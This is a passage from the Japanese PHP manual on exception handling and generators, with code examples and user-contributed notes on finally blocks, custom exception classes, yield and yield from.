例外がグローバルスコープにまで遡った場合、 設定されていれば、グローバルな例外ハンドラがそれをキャッチすることができます。 他の catch ブロックが呼び出されなかった場合に、 catch の代わりに呼び出される関数を set_exception_handler() 関数で設定できます。 その効果は、プログラム全体を try-catch ブロックで囲むことと同じです。

注意

注意:

PHP の内部関数の多くは エラー報告 を使っており、例外を使っているのは新しい オブジェクト指向 の拡張モジュールのみです。 しかし、ErrorException を使えば簡単にエラーを例外に変換することができます。 この変換テクニックが使えるのは、致命的でないエラーに限ります。

例3 エラーを例外に変換する

<?php
function exceptions_error_handler($severity, $message, $filename, $lineno) {
    throw new ErrorException($message, 0, $severity, $filename, $lineno);
}

set_error_handler('exceptions_error_handler');
?>

ヒント

Standard PHP Library (SPL) には組み込みの例外が数多く用意されています。

例

例4 例外を投げるには

<?php
function inverse($x) {
    if (!$x) {
        throw new Exception('ゼロによる除算。');
    }
    return 1/$x;
}

try {
    echo inverse(5) . "\n";
    echo inverse(0) . "\n";
} catch (Exception $e) {
    echo '捕捉した例外: ',  $e->getMessage(), "\n";
}

// 実行は継続される
echo "Hello World\n";
?>

上の例の出力は以下となります。

0.2
捕捉した例外: ゼロによる除算。
Hello World

例5 例外処理での finally ブロック

<?php
function inverse($x) {
    if (!$x) {
        throw new Exception('ゼロによる除算。');
    }
    return 1/$x;
}

try {
    echo inverse(5) . "\n";
} catch (Exception $e) {
    echo '捕捉した例外: ',  $e->getMessage(), "\n";
} finally {
    echo "First finally.\n";
}

try {
    echo inverse(0) . "\n";
} catch (Exception $e) {
    echo '捕捉した例外: ',  $e->getMessage(), "\n";
} finally {
    echo "Second finally.\n";
}

// 処理を続行します
echo "Hello World\n";
?>

上の例の出力は以下となります。

0.2
First finally.
捕捉した例外: ゼロによる除算。
Second finally.
Hello World

例6 finally ブロックと return の相互作用

<?php

function test() {
    try {
        throw new Exception('foo');
    } catch (Exception $e) {
        return 'catch';
    } finally {
        return 'finally';
    }
}

echo test();
?>

上の例の出力は以下となります。

finally

例7 ネストした例外

<?php

class MyException extends Exception { }

class Test {
    public function testing() {
        try {
            try {
                throw new MyException('foo!');
            } catch (MyException $e) {
                // 改めてスロー
                throw $e;
            }
        } catch (Exception $e) {
            var_dump($e->getMessage());
        }
    }
}

$foo = new Test;
$foo->testing();

?>

上の例の出力は以下となります。

string(4) "foo!"

例8 複数の例外ハンドリングをひとつの catch で行う

<?php

class MyException extends Exception { }

class MyOtherException extends Exception { }

class Test {
    public function testing() {
        try {
            throw new MyException();
        } catch (MyException | MyOtherException $e) {
            var_dump(get_class($e));
        }
    }
}

$foo = new Test;
$foo->testing();

?>

上の例の出力は以下となります。

string(11) "MyException"

例9 キャッチする時に変数を省略する

PHP 8.0.0 以降でのみ許されます

<?php

class SpecificException extends Exception {}

function test() {
    throw new SpecificException('Oopsie');
}

try {
    test();
} catch (SpecificException) {
    print "A SpecificException was thrown, but we don't care about the details.";
}
?>

例10 throw を 式として扱う

PHP 8.0.0 以降でのみ許されます

<?php

class SpecificException extends Exception {}

function test() {
    do_something_risky() or throw new Exception('It did not work');
}

try {
    test();
} catch (Exception $e) {
    print $e->getMessage();
}
?>

User Contributed Notes

mlaopane at gmail dot com 24-Feb-2018 09:49
<?php

/**
 * You can catch exceptions thrown in a deep level function
 */

function employee()
{
    throw new \Exception("I am just an employee !");
}

function manager()
{
    employee();
}

function boss()
{
    try {
        manager();
    } catch (\Exception $e) {
        echo $e->getMessage();
    }
}

boss(); // output: "I am just an employee !"
daviddlowe dot flimm at gmail dot com 22-Sep-2017 01:13
Starting in PHP 7, the classes Exception and Error both implement the Throwable interface. This means, if you want to catch both Error instances and Exception instances, you should catch Throwable objects, like this:

<?php

try {
    throw new Error( "foobar" );
    // or:
    // throw new Exception( "foobar" );
}
catch (Throwable $e) {
    var_export( $e );
}

?>
christof+php[AT]insypro.com 15-Jun-2017 10:12
In case your E_WARNING type of errors aren't catchable with try/catch you can change them to another type of error like this:

<?php
    set_error_handler(function($errno, $errstr, $errfile, $errline){
            if($errno === E_WARNING){
                // make it more serious than a warning so it can be caught
                trigger_error($errstr, E_ERROR);
                return true;
            } else {
                // fallback to default php error handler
                return false;
            }
    });

    try {
            // code that might result in a E_WARNING
    } catch(Exception $e){
            // code to handle the E_WARNING (it's actually changed to E_ERROR at this point)
    } finally {
            restore_error_handler();
    }
?>
Simo 04-Apr-2015 02:47
#3 is not a good example. inverse("0a") would not be caught since (bool) "0a" returns true, yet 1/"0a" casts the string to integer zero and attempts to perform the calculation.
Tom Polomsk 04-Dec-2014 01:45
Contrary to the documentation it is possible in PHP 5.5 and higher use only try-finally blocks without any catch block.
telefoontoestel at nospam dot org 18-Jun-2014 12:34
When using finally keep in mind that when a exit/die statement is used in the catch block it will NOT go through the finally block.

<?php
try {
    echo "try block<br />";
    throw new Exception("test");
} catch (Exception $ex) {
    echo "catch block<br />";
} finally {
    echo "finally block<br />";
}

// try block
// catch block
// finally block
?>

<?php
try {
    echo "try block<br />";
    throw new Exception("test");
} catch (Exception $ex) {
    echo "catch block<br />";
    exit(1);
} finally {
    echo "finally block<br />";
}

// try block
// catch block
?>
Edu 24-Jun-2013 06:13
The "finally" block can change the exception that has been throw by the catch block.

<?php
try{
        try {
                throw new \Exception("Hello");
        } catch(\Exception $e) {
                echo $e->getMessage()." catch in\n";
                throw $e;
        } finally {
                echo $e->getMessage()." finally \n";
                throw new \Exception("Bye");
        }
} catch (\Exception $e) {
        echo $e->getMessage()." catch out\n";
}
?>

The output is:

Hello catch in
Hello finally
Bye catch out
Sawsan 28-Nov-2011 09:36
the following is an example of a re-thrown exception and the using of getPrevious function:

<?php

$name = "Name";

//check if the name contains only letters, and does not contain the word name

try
   {
   try
     {
      if (preg_match('/[^a-z]/i', $name))
       {
           throw new Exception("$name contains character other than a-z A-Z");
       }
       if(strpos(strtolower($name), 'name') !== FALSE)
       {
          throw new Exception("$name contains the word name");
       }
       echo "The Name is valid";
     }
   catch(Exception $e)
     {
     throw new Exception("insert name again",0,$e);
     }
   }

catch (Exception $e)
   {
   if ($e->getPrevious())
   {
    echo "The Previous Exception is: ".$e->getPrevious()->getMessage()."<br/>";
   }
   echo "The Exception is: ".$e->getMessage()."<br/>";
   }

 ?>
Johan 05-May-2011 01:18
Custom error handling on entire pages can avoid half rendered pages for the users:

<?php
ob_start();
try {
    /*contains all page logic
    and throws error if needed*/
    ...
} catch (Exception $e) {
  ob_end_clean();
  displayErrorPage($e->getMessage());
}
?>
ask at nilpo dot com 27-May-2009 12:19
If you intend on creating a lot of custom exceptions, you may find this code useful.  I've created an interface and an abstract exception class that ensures that all parts of the built-in Exception class are preserved in child classes.  It also properly pushes all information back to the parent constructor ensuring that nothing is lost.  This allows you to quickly create new exceptions on the fly.  It also overrides the default __toString method with a more thorough one.

<?php
interface IException
{
    /* Protected methods inherited from Exception class */
    public function getMessage();                 // Exception message
    public function getCode();                    // User-defined Exception code
    public function getFile();                    // Source filename
    public function getLine();                    // Source line
    public function getTrace();                   // An array of the backtrace()
    public function getTraceAsString();           // Formated string of trace

    /* Overrideable methods inherited from Exception class */
    public function __toString();                 // formated string for display
    public function __construct($message = null, $code = 0);
}

abstract class CustomException extends Exception implements IException
{
    protected $message = 'Unknown exception';     // Exception message
    private   $string;                            // Unknown
    protected $code    = 0;                       // User-defined exception code
    protected $file;                              // Source filename of exception
    protected $line;                              // Source line of exception
    private   $trace;                             // Unknown

    public function __construct($message = null, $code = 0)
    {
        if (!$message) {
            throw new $this('Unknown '. get_class($this));
        }
        parent::__construct($message, $code);
    }

    public function __toString()
    {
        return get_class($this) . " '{$this->message}' in {$this->file}({$this->line})\n"
                                . "{$this->getTraceAsString()}";
    }
}
?>

Now you can create new exceptions in one line:

<?php
class TestException extends CustomException {}
?>

Here's a test that shows that all information is properly preserved throughout the backtrace.

<?php
function exceptionTest()
{
    try {
        throw new TestException();
    }
    catch (TestException $e) {
        echo "Caught TestException ('{$e->getMessage()}')\n{$e}\n";
    }
    catch (Exception $e) {
        echo "Caught Exception ('{$e->getMessage()}')\n{$e}\n";
    }
}

echo '<pre>' . exceptionTest() . '</pre>';
?>

Here's a sample output:

Caught TestException ('Unknown TestException')
TestException 'Unknown TestException' in C:\xampp\htdocs\CustomException\CustomException.php(31)
#0 C:\xampp\htdocs\CustomException\ExceptionTest.php(19): CustomException->__construct()
#1 C:\xampp\htdocs\CustomException\ExceptionTest.php(43): exceptionTest()
#2 {main}
Shot (Piotr Szotkowski) 21-Oct-2008 12:13
'Normal execution (when no exception is thrown within the try block, *or when a catch matching the thrown exception's class is not present*) will continue after that last catch block defined in sequence.'

'If an exception is not caught, a PHP Fatal Error will be issued with an "Uncaught Exception ..." message, unless a handler has been defined with set_exception_handler().'

These two sentences seem a bit contradicting about what happens 'when a catch matching the thrown exception's class is not present' (and the second sentence is actually correct).


例外を拡張する

組み込みの Exception クラスを拡張することで、例外クラスをユーザーが 定義することが可能です。以下のメンバーおよびプロパティは、 組み込みの Exception クラスから派生した子クラスの中でアクセス可能です。

例1 例外クラスを構築する

<?php
class Exception extends Throwable
{
    protected $message = 'Unknown exception';   // exception message
    private   $string;                          // __toString cache
    protected $code = 0;                        // user defined exception code
    protected $file;                            // source filename of exception
    protected $line;                            // source line of exception
    private   $trace;                           // backtrace
    private   $previous;                        // previous exception if nested exception

    public function __construct($message = null, $code = 0, Throwable $previous = null);

    final private function __clone();           // Inhibits cloning of exceptions.

    final public  function getMessage();        // message of exception
    final public  function getCode();           // code of exception
    final public  function getFile();           // source filename
    final public  function getLine();           // source line
    final public  function getTrace();          // an array of the backtrace()
    final public  function getPrevious();       // previous exception
    final public  function getTraceAsString();  // formatted string of trace

    // Overrideable
    public function __toString();               // formatted string for display
}
?>

クラスが、組み込みの Exception クラスを拡張し、 コンストラクタを再定義した場合、 全ての利用可能なデータが正しく代入されることを保証するために parent::__construct() もコールすることが強く推奨されます。 __toString() メソッドは、 オブジェクトが文字列として表された際に独自の出力を行うために 上書きすることができます。

注意:

例外を複製することはできません。Exception を clone しようとすると 致命的な E_ERROR エラーが発生します。

例2 例外クラスの拡張

<?php
/**
 * カスタム例外クラスを定義する
 */
class MyException extends Exception
{
    // 例外を再定義し、メッセージをオプションではなくする
    public function __construct($message, $code = 0, Throwable $previous = null) {
        // なんらかのコード

        // 全てを正しく確実に代入する
        parent::__construct($message, $code, $previous);
    }

    // オブジェクトの文字列表現を独自に定義する
    public function __toString() {
        return __CLASS__ . ": [{$this->code}]: {$this->message}\n";
    }

    public function customFunction() {
        echo "A Custom function for this type of exception\n";
    }
}

/**
 * 例外をテストするためのクラスを作成
 */
class TestException
{
    public $var;

    const THROW_NONE    = 0;
    const THROW_CUSTOM  = 1;
    const THROW_DEFAULT = 2;

    function __construct($avalue = self::THROW_NONE) {

        switch ($avalue) {
            case self::THROW_CUSTOM:
                // カスタム例外を投げる
                throw new MyException('1 is an invalid parameter', 5);
                break;

            case self::THROW_DEFAULT:
                // デフォルト例外を投げる
                throw new Exception('2 is not allowed as a parameter', 6);
                break;

            default:
                // 例外なし。オブジェクトが生成される
                $this->var = $avalue;
                break;
        }
    }
}

// 例1
try {
    $o = new TestException(TestException::THROW_CUSTOM);
} catch (MyException $e) {      // Will be caught
    echo "Caught my exception\n", $e;
    $e->customFunction();
} catch (Exception $e) {        // Skipped
    echo "Caught Default Exception\n", $e;
}

// 実行を継続する
var_dump($o); // Null
echo "\n\n";

// 例2
try {
    $o = new TestException(TestException::THROW_DEFAULT);
} catch (MyException $e) {      // この型にはマッチしない
    echo "Caught my exception\n", $e;
    $e->customFunction();
} catch (Exception $e) {        // キャッチされる
    echo "Caught Default Exception\n", $e;
}

// 実行を継続する
var_dump($o); // Null
echo "\n\n";

// 例3
try {
    $o = new TestException(TestException::THROW_CUSTOM);
} catch (Exception $e) {        // キャッチされる
    echo "Default Exception caught\n", $e;
}

// 実行を継続する
var_dump($o); // Null
echo "\n\n";

// 例4
try {
    $o = new TestException();
} catch (Exception $e) {        // スキップされる、例外なし
    echo "Default Exception caught\n", $e;
}

// 実行を継続する
var_dump($o); // TestException
echo "\n\n";
?>

User Contributed Notes

Hayley Watson 25-Feb-2019 04:13
Check the other SPL Exception classes and extend one of those if your intended exception is a subclass of one of those. This allows more finesse when catching.
florenxe 15-Sep-2015 11:25
I just wanted to add that "extends" is same concept of "Inheritance" or "Prototyping in Javascript". So when you extend a class, you are simply inheriting the class's methods and properties. So you can create custom classes from existing classes like extending the array class.
shaman_master at list dot ru 14-Dec-2014 12:57
Use this example for not numeric codes:
<code>
<?php
class MyException extends Exception
{
    /**
     * Creates a new exception.
     *
     * @param string       $message   Error message
     * @param mixed       $code         The exception code
     * @param Exception $previous  Previous exception
     * @return void
     */
    public function __construct($message = '', $code = 0, Exception $previous = null)
    {
        // Pass the message and integer code to the parent
        parent::__construct((string)$message, (int)$code, $previous);

        // @link http://bugs.php.net/39615 Save the unmodified code
        $this->code = $code;
    }
}
</code>
michaelrfairhurst at gmail dot com 15-Oct-2012 04:55
Custom exception classes can allow you to write tests that prove your exceptions
are meaningful. Usually testing exceptions, you either assert the message equals
something in which case you can't change the message format without refactoring,
or not make any assertions at all in which case you can get misleading messages
later down the line. Especially if your $e->getMessage is something complicated
like a var_dump'ed context array.

The solution is to abstract the error information from the Exception class into
properties that can be tested everywhere except the one test for your formatting.

<?php

class TestableException extends Exception {

        private $property;

        function __construct($property) {

                $this->property = $property;
                parent::__construct($this->format($property));

        }

        function format($property) {
                return "I have formatted: " . $property . "!!";
        }

        function getProperty() {
                return $this->property;
        }

}

function testSomethingThrowsTestableException() {
        try {
                throw new TestableException('Property');
        } Catch (TestableException $e) {
                $this->assertEquals('Property', $e->getProperty());
        }
}

function testExceptionFormattingOnlyOnce() {
        $e = new TestableException;
        $this->assertEquals('I have formatted: properly for the only required test!!',
                $e->format('properly for the only required test')
        );
}

?>
Dor 15-Oct-2011 02:30
It's important to note that subclasses of the Exception class will be caught by the default Exception handler

<?php

    /**
     * NewException
     * Extends the Exception class so that the $message parameter is now mendatory.
     *
     */
    class NewException extends Exception {
        //$message is now not optional, just for the extension.
        public function __construct($message, $code = 0, Exception $previous = null) {
            parent::__construct($message, $code, $previous);
        }
    }

    /**
     * TestException
     * Tests and throws Exceptions.
     */
    class TestException {
        const NONE = 0;
        const NORMAL = 1;
        const CUSTOM = 2;
        public function __construct($type = self::NONE) {
            switch ($type) {
                case 1:
                    throw new Exception('Normal Exception');
                    break;
                case 2:
                    throw new NewException('Custom Exception');
                    break;
                default:
                    return 0; //No exception is thrown.
            }
        }
    }

    try {
        $t = new TestException(TestException::CUSTOM);
    }
    catch (Exception $e) {
        print_r($e); //Exception Caught
    }

?>

Note that if an Exception is caught once, it won't be caught again (even for a more specific handler).
iamhiddensomewhere at gmail dot com 31-Dec-2009 03:17
As previously noted exception linking was recently added (and what a god-send it is, it certainly makes layer abstraction (and, by association, exception tracking) easier).

Since <5.3 was lacking this useful feature I took some initiative and creating a custom exception class that all of my exceptions inherit from:

<?php

class SystemException extends Exception
{
    private $previous;

    public function __construct($message, $code = 0, Exception $previous = null)
    {
        parent::__construct($message, $code);

        if (!is_null($previous))
        {
            $this -> previous = $previous;
        }
    }

    public function getPrevious()
    {
        return $this -> previous;
    }
}

?>

Hope you find it useful.
sapphirepaw.org 24-Nov-2009 07:37
Support for exception linking was added in PHP 5.3.0. The getPrevious() method and the $previous argument to the constructor are not available on any built-in exceptions in older versions of PHP.
paragdiwan at gmail dot com 17-Jan-2009 01:32
I have written similar simple custom exception class. Helpful for newbie.
<?php
    /*
        This is written for overriding the exceptions.
        custom exception class
    */
    error_reporting(E_ALL-E_NOTICE);
    class myCustomException extends Exception
    {

        public function __construct($message, $code=0)
        {
            parent::__construct($message,$code);
        }

        public function __toString()
        {
            return "<b style='color:red'>".$this->message."</b>";
        }

    }

    class testException
    {

        public function __construct($x)
        {

            $this->x=$x;

        }

        function see()
        {

            if($this->x==9 )
            {
                throw new myCustomException("i didnt like it");
            }
        }
    }

    $obj = new testException(9);
    try{

        $obj->see();
    }
    catch(myCustomException $e)
    {
        echo $e;
    }
?>


ジェネレータ

目次

  • ジェネレータとは
  • ジェネレータの構文
  • ジェネレータと Iterator オブジェクトとの比較

User Contributed Notes

There are no user contributed notes for this page.


ジェネレータとは

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

ジェネレータを使えば、シンプルな イテレータを簡単に実装できます。 Iterator インターフェイスを実装したクラスを用意する オーバーヘッドや複雑さを心配する必要はありません。

ジェネレータを使うと、foreach でデータ群を順に処理するコードを書くときに メモリ内で配列を組み立てなくても済むようになります。 メモリ内で配列を組み立てると memory_limit を越えてしまうかもしれないし、 無視できないほどの時間がかかってしまうかもしれません。 配列を作る代わりに、ジェネレータ関数を書くことになります。これは通常の 関数と同じものですが、 ジェネレータ関数は一度だけ return するのではなく、必要に応じて何度でも yield することができます。 つまり、値を繰り返し返せるということです。

シンプルな例として、range() 関数をジェネレータで実装しなおしてみましょう。 標準の range() 関数は、すべての値を含む配列を作ってそれを返します。 結果的に、かなり大きな配列になる可能性があります。たとえば range(0, 1000000) を実行すると、 100 MB を超えるメモリを使うことになります。

その代替として、ジェネレータ xrange() を実装します。 必要なメモリは、Iterator オブジェクトを作ってジェネレータの内部の状態を記録しておくのに必要なものだけになります。 1 KB 未満で収まるでしょう。

例1 ジェネレータを使った range() の実装

<?php
function xrange($start, $limit, $step = 1) {
    if ($start <= $limit) {
        if ($step <= 0) {
            throw new LogicException('Step must be positive');
        }

        for ($i = $start; $i <= $limit; $i += $step) {
            yield $i;
        }
    } else {
        if ($step >= 0) {
            throw new LogicException('Step must be negative');
        }

        for ($i = $start; $i >= $limit; $i += $step) {
            yield $i;
        }
    }
}

/*
 * 次の例で、range() と xrange() が同じ結果を返すことに注目しましょう
 */

echo 'Single digit odd numbers from range():  ';
foreach (range(1, 9, 2) as $number) {
    echo "$number ";
}
echo "\n";

echo 'Single digit odd numbers from xrange(): ';
foreach (xrange(1, 9, 2) as $number) {
    echo "$number ";
}
?>

上の例の出力は以下となります。

Single digit odd numbers from range():  1 3 5 7 9
Single digit odd numbers from xrange(): 1 3 5 7 9

Generator オブジェクト

ジェネレータ関数を呼んだときには、内部クラス Generator の新しいオブジェクトを返します。 このオブジェクトは Iterator インターフェイスを実装しており、 前進しかできないイテレータオブジェクトと同じように振る舞います。 そして、このオブジェクトが提供するメソッドを使えば、 値を送ったり戻したりなどしてジェネレータの状態を操作できます。

User Contributed Notes

chung1905 at gmail dot com 03-Oct-2019 03:09
In addition to the note of "montoriusz at gmail dot com": https://www.php.net/manual/en/language.generators.overview.php#119275

"If you need to perform some action when the function is called and before the result is used, you'll have to wrap your generator in another function."
You can use Generator::rewind instead (https://www.php.net/manual/en/generator.rewind.php)

Sample code:
<?php
/** function/generator definition **/

echo "calling gen()...\n";
$result = gen();
$result->rewind();
echo "gen() was called\n";

/** iteration **/
?>
Anonymous 22-Feb-2019 08:34
Same example, different results:

----------------------------------
           |  time  | memory, mb |
----------------------------------
| not gen  | 0.7589 | 146.75     |
|---------------------------------
| with gen | 0.7469 | 8.75       |
|---------------------------------

Time in results varying from 6.5 to 7.8 on both exassmples.
So no real drawbacks concerning processing speed.
youssefbenhssaien at gmail dot com 13-Apr-2017 03:29
A simple function to parse an ini configuration file
<?php
    function parse_ini($file_path){
        if(!file_exists($file_path)){
            throw new Exception("File not exists ${file_path}");
        }
        $text = fopen($file_path, 'r');
        while($line=fgets($text)){
            list($key, $param) = explode('=', $line);
            yield $key => $param;
        }
    }
?>
//Usage : parse_ini('param.ini') // returns Generator Object
//Usage : iterator_to_array(parse_ini('param.ini')); // returns an array
montoriusz at gmail dot com 01-May-2016 11:55
Bear in mind that execution of a generator function is postponed until iteration over its result (the Generator object) begins. This might confuse one if the result of a generator is assigned to a variable instead of immediate iteration.

<?php

$some_state = 'initial';

function gen() {
    global $some_state;

    echo "gen() execution start\n";
    $some_state = "changed";

    yield 1;
    yield 2;
}

function peek_state() {
    global $some_state;
    echo "\$some_state = $some_state\n";
}

echo "calling gen()...\n";
$result = gen();
echo "gen() was called\n";

peek_state();

echo "iterating...\n";
foreach ($result as $val) {
    echo "iteration: $val\n";
    peek_state();
}

?>

If you need to perform some action when the function is called and before the result is used, you'll have to wrap your generator in another function.

<?php
/**
  * @return Generator
  */
function some_generator() {
    global $some_state;

    $some_state = "changed";
    return gen();
}
?>
info at boukeversteegh dot nl 21-Dec-2015 12:21
Here's how to detect loop breaks, and how to handle or cleanup after an interruption.

<?php
    function generator()
    {
        $complete = false;
        try {

            while (($result = some_function())) {
                yield $result;
            }
            $complete = true;

        } finally {
            if (!$complete) {
                // cleanup when loop breaks
            } else {
                // cleanup when loop completes
            }
        }

        // Do something only after loop completes
    }
?>
dc at libertyskull dot com 17-Feb-2014 02:59
Same example, different results:

----------------------------------
           |  time  | memory, mb |
----------------------------------
| not gen  | 0.7589 | 146.75     |
|---------------------------------
| with gen | 0.7469 | 8.75       |
|---------------------------------

Time in results varying from 6.5 to 7.8 on both examples.
So no real drawbacks concerning processing speed.
lubaev 15-Jan-2014 11:46
Abstract test.
<?php

$start_time=microtime(true);
$array = array();
$result = '';
for($count=1000000; $count--;)
{
  $array[]=$count/2;
}
foreach($array as $val)
{
  $val += 145.56;
  $result .= $val;
}
$end_time=microtime(true);

echo "time: ", bcsub($end_time, $start_time, 4), "\n";
echo "memory (byte): ", memory_get_peak_usage(true), "\n";

?>

<?php

$start_time=microtime(true);
$result = '';
function it()
{
  for($count=1000000; $count--;)
  {
    yield $count/2;
  }
}
foreach(it() as $val)
{
  $val += 145.56;
  $result .= $val;
}
$end_time=microtime(true);

echo "time: ", bcsub($end_time, $start_time, 4), "\n";
echo "memory (byte): ", memory_get_peak_usage(true), "\n";

?>
Result:
----------------------------------
           |  time  | memory, mb |
----------------------------------
| not gen  | 2.1216 | 89.25      |
|---------------------------------
| with gen | 6.1963 | 8.75       |
|---------------------------------
| diff     | < 192% | > 90%      |
----------------------------------
bloodjazman at gmail dot com 15-Aug-2013 07:32
for the protection from the leaking of resources
see RFC https://wiki.php.net/rfc/generators#closing_a_generator

and use finnaly

sample code

function getLines($file) {
    $f = fopen($file, 'r');
    try {
        while ($line = fgets($f)) {
            yield $line;
        }
    } finally {
        fclose($f);
    }
}

foreach (getLines("file.txt") as $n => $line) {
    if ($n > 5) break;
    echo $line;
}


ジェネレータの構文

ジェネレータ関数の見た目はふつうの関数とほぼ同じです。違うのは、値を返すのではなく、 必要なだけ値を yield することです。 yield が含まれていれば、どんな関数でもジェネレータ関数です。

ジェネレータ関数が呼ばれると、反復処理が可能なオブジェクトを返します。 このオブジェクトを (foreach ループなどで) 反復させると、 値が必要になるたびに PHP がオブジェクトの反復メソッドを呼びます。 そして、ジェネレータが値を yield した時点の状態を保存しておき、 次に値が必要になったときにはそこから再開できるようにします。

yield できる値がなくなると、ジェネレータは単純に終了します。 呼び出し元のコードでは、配列の要素をすべて処理し終えた後のように、そのまま処理が続きます。

注意:

ジェネレータは値を返すことができます。返した値は Generator::getReturn() で取得することが出来ます。

yield キーワード

ジェネレータ関数の肝となるのが yield キーワードです。 最もシンプルな書きかたをすると、yield 文の見た目は return 文とほぼ同じになります。 ただ、return の場合はそこで関数の実行を終了して値を返すのに対して、 yield の場合はジェネレータを呼び出しているループに値を戻して ジェネレータ関数の実行を一時停止します。

例1 値を yield する単純な例

<?php
function gen_one_to_three() {
    for ($i = 1; $i <= 3; $i++) {
        // yield を繰り返す間、$i の値が維持されることに注目しましょう
        yield $i;
    }
}

$generator = gen_one_to_three();
foreach ($generator as $value) {
    echo "$value\n";
}
?>

上の例の出力は以下となります。

1
2
3

注意:

内部的には整数の連番のキーが yield する値とペアになり、 配列と同じようになります。

警告

$data に代入される値は、 Generator::send() に渡される値、もしくは Generator::next() が代わりに呼ばれる場合は null になります。

この構文は、 Generator::send() メソッドと組み合わせて使えます。

値とキーの yield

PHP は、数値添字の配列だけでなく連想配列にも対応しています。ジェネレータも例外ではありません。 先ほどの例のように単なる値を yield するだけでなく、 値と同時にキーも yield することができます。

キーと値のペアを yield する構文は連想配列の定義とよく似ており、次のようになります。

例2 キー/値 のペアの yield

<?php
/*
 * 入力は各フィールドをセミコロンで区切ったものです
 * 最初のフィールドが ID となり、これをキーとして使います
 */

$input = <<<'EOF'
1;PHP;$が大好き
2;Python;インデントが大好き
3;Ruby;ブロックが大好き
EOF;

function input_parser($input) {
    foreach (explode("\n", $input) as $line) {
        $fields = explode(';', $line);
        $id = array_shift($fields);

        yield $id => $fields;
    }
}

foreach (input_parser($input) as $id => $fields) {
    echo "$id:\n";
    echo "    $fields[0]\n";
    echo "    $fields[1]\n";
}
?>

上の例の出力は以下となります。

1:
    PHP
    $が大好き
2:
    Python
    インデントが大好き
3:
    Ruby
    ブロックが大好き
警告

先ほどの例のように値だけを yield するときと同様に、 キー/値 のペアを式のコンテキストで yield するときにも yield 文を括弧で囲む必要があります。

$data = (yield $key => $value);

null 値の yield

何も引数を渡さずに yield を呼ぶと、null 値を yield します。キーは自動的に割り振られます。

例3 null の yield

<?php
function gen_three_nulls() {
    foreach (range(1, 3) as $i) {
        yield;
    }
}

var_dump(iterator_to_array(gen_three_nulls()));
?>

上の例の出力は以下となります。

array(3) {
  [0]=>
  NULL
  [1]=>
  NULL
  [2]=>
  NULL
}

参照による yield

ジェネレータ関数は、値を参照として yield することもできます。 関数の結果を参照で返す ときと同じように、関数名の前にアンパサンドを付けます。

例4 参照による値の yield

<?php
function &gen_reference() {
    $value = 3;

    while ($value > 0) {
        yield $value;
    }
}

/*
 * $number をループ内で変更していることに注目しましょう。
 * このジェネレータは参照を yield するので、
 * gen_reference() 内の $value が変わります。
 */
foreach (gen_reference() as &$number) {
    echo (--$number).'... ';
}
?>

上の例の出力は以下となります。

2... 1... 0...

yield from によるジェネレータの委譲

ジェネレーターを委譲することで、 別のジェネレータや Traversable オブジェクトあるいは配列から、 array by using the yield from キーワードを使って値を yield できます。 外側のジェネレータは、内側のジェネレータ (あるいはオブジェクトや配列) から受け取れるすべての値を yield し、 何も取得できなくなったら外側のジェネレータの処理を続行します。

ジェネレータに対して yield from を使った場合は、 yield from 式は内側のジェネレータが返す任意の値を返します。

警告

iterator_to_array() を用いた、配列への格納

yield from は配列のキーをリセットしません。 Traversable オブジェクトや array が返すキーを、そのまま利用します。つまり、別々の yield や yield from から取得した異なる値のキーが、重複することもありえます。 これを配列に格納すると、後からきた値がそれまでの値を上書きします。

iterator_to_array() を使う場合に問題になることがよくあります。 この関数はデフォルトで数値添字配列を返すので、予期せぬ結果を引き起こす可能性があります。 iterator_to_array() には二番目のパラメータ use_keys があり、これを false にすれば、Generator が返すキーを無視してすべての値を取得できます。

例5 yield from と iterator_to_array()

<?php
function inner() {
    yield 1; // キー 0
    yield 2; // キー 1
    yield 3; // キー 2
}
function gen() {
    yield 0; // キー 0
    yield from inner(); // キー 0?2
    yield 4; // キー 1
}
// 二番目のパラメータに false を指定すると、結果は array [0, 1, 2, 3, 4] となります
var_dump(iterator_to_array(gen()));
?>

上の例の出力は以下となります。

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(4)
  [2]=>
  int(3)
}

例6 yield from の基本的な使いかた

<?php
function count_to_ten() {
    yield 1;
    yield 2;
    yield from [3, 4];
    yield from new ArrayIterator([5, 6]);
    yield from seven_eight();
    yield 9;
    yield 10;
}

function seven_eight() {
    yield 7;
    yield from eight();
}

function eight() {
    yield 8;
}

foreach (count_to_ten() as $num) {
    echo "$num ";
}
?>

上の例の出力は以下となります。

1 2 3 4 5 6 7 8 9 10

例7 yield from の返す値

<?php
function count_to_ten() {
    yield 1;
    yield 2;
    yield from [3, 4];
    yield from new ArrayIterator([5, 6]);
    yield from seven_eight();
    return yield from nine_ten();
}

function seven_eight() {
    yield 7;
    yield from eight();
}

function eight() {
    yield 8;
}

function nine_ten() {
    yield 9;
    return 10;
}

$gen = count_to_ten();
foreach ($gen as $num) {
    echo "$num ";
}
echo $gen->getReturn();
?>

上の例の出力は以下となります。

1 2 3 4 5 6 7 8 9 10

User Contributed Notes

christianggimenez at gmail dot com 24-Jun-2019 09:36
Module list of a number from 1 to 100.

<?php

function list_of_modulo(){

    for($i = 1; $i <= 100; $i++){

        if(($i % 2) == 0){
            yield $i;
        }
    }
}

$modulos = list_of_modulo();

foreach($modulos as $value){

    echo "$value\n";
}

?>
Hayley Watson 21-Dec-2015 09:14
If for some strange reason you need a generator that doesn't yield anything, an empty function doesn't work; the function needs a yield statement to be recognised as a generator.

<?php

function gndn()
{
}

foreach(gndn() as $it)
{
    echo 'FNORD';
}

?>

 But it's enough to have the yield syntactically present even if it's not reachable:

<?php

function gndn()
{
    if(false) { yield; }
}

foreach(gndn() as $it)
{
    echo 'FNORD';
}

?>
zilvinas at kuusas dot lt 16-Nov-2015 09:18
Do not call generator functions directly, that won't work.

<?php

function my_transform($value) {
    var_dump($value);
    return $value * 2;
}

function my_function(array $values) {
    foreach ($values as $value) {
        yield my_transform($value);
    }
}

$data = [1, 5, 10];
// my_transform() won't be called inside my_function()
my_function($data);

# my_transform() will be called.
foreach (my_function($data) as $val) {
    // ...
}
?>
Harun Yasar harunyasar at mail dot com 12-Jun-2015 02:43
That is a simple fibonacci generator.

<?php
function fibonacci($item) {
    $a = 0;
    $b = 1;
    for ($i = 0; $i < $item; $i++) {
        yield $a;
        $a = $b - $a;
        $b = $a + $b;
    }
}

# give me the first ten fibonacci numbers
$fibo = fibonacci(10);
foreach ($fibo as $value) {
    echo "$value\n";
}
?>
info at boukeversteegh dot nl 23-Jan-2015 07:02
[This comment replaces my previous comment]

